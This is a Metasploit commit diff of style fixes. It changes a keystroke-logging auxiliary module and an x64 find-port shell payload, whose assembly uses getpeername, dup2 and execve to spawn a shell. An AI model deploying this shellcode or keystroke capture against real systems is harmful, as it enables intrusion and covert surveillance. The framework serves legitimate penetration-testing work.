msftidy corrections

unstable
sinn3r 2012-10-17 17:22:26 -05:00
parent 7b1c35624e
commit 201518b66f
10 changed files with 166 additions and 166 deletions

View File

@ -182,8 +182,8 @@ class Metasploit3 < Msf::Auxiliary
print_good("[#{cid}] Logging raw keystrokes to: #{@client_cache[cid][:path_raw]}")
end
::File.open( @client_cache[cid][:path_clean], "a") { |fd| fd.puts nice }
::File.open( @client_cache[cid][:path_raw], "a") { |fd| fd.write(real) }
::File.open( @client_cache[cid][:path_clean], "ab") { |fd| fd.puts nice }
::File.open( @client_cache[cid][:path_raw], "ab") { |fd| fd.write(real) }
if nice.length > 0
print_good("[#{cid}] Keys: #{nice}")

View File

@ -38,14 +38,14 @@ module Metasploit3
'CPORT' => [ 32, 'n' ],
},
'Assembly' => <<EOS
'Assembly' => %Q|
xor rdi,rdi
xor rbx,rbx
mov bl,0x14
sub rsp,rbx
lea rdx,[rsp]
lea rsi,[rsp+4]
find_port:
find_port:
push 0x34 ; getpeername
pop rax
syscall
@ -55,7 +55,7 @@ find_port:
dec rdi
push 2
pop rsi
dup2:
dup2:
push 0x21 ; dup2
pop rax
syscall
@ -74,7 +74,7 @@ dup2:
push 0x3b ; execve
pop rax
syscall
EOS
|
}
))
end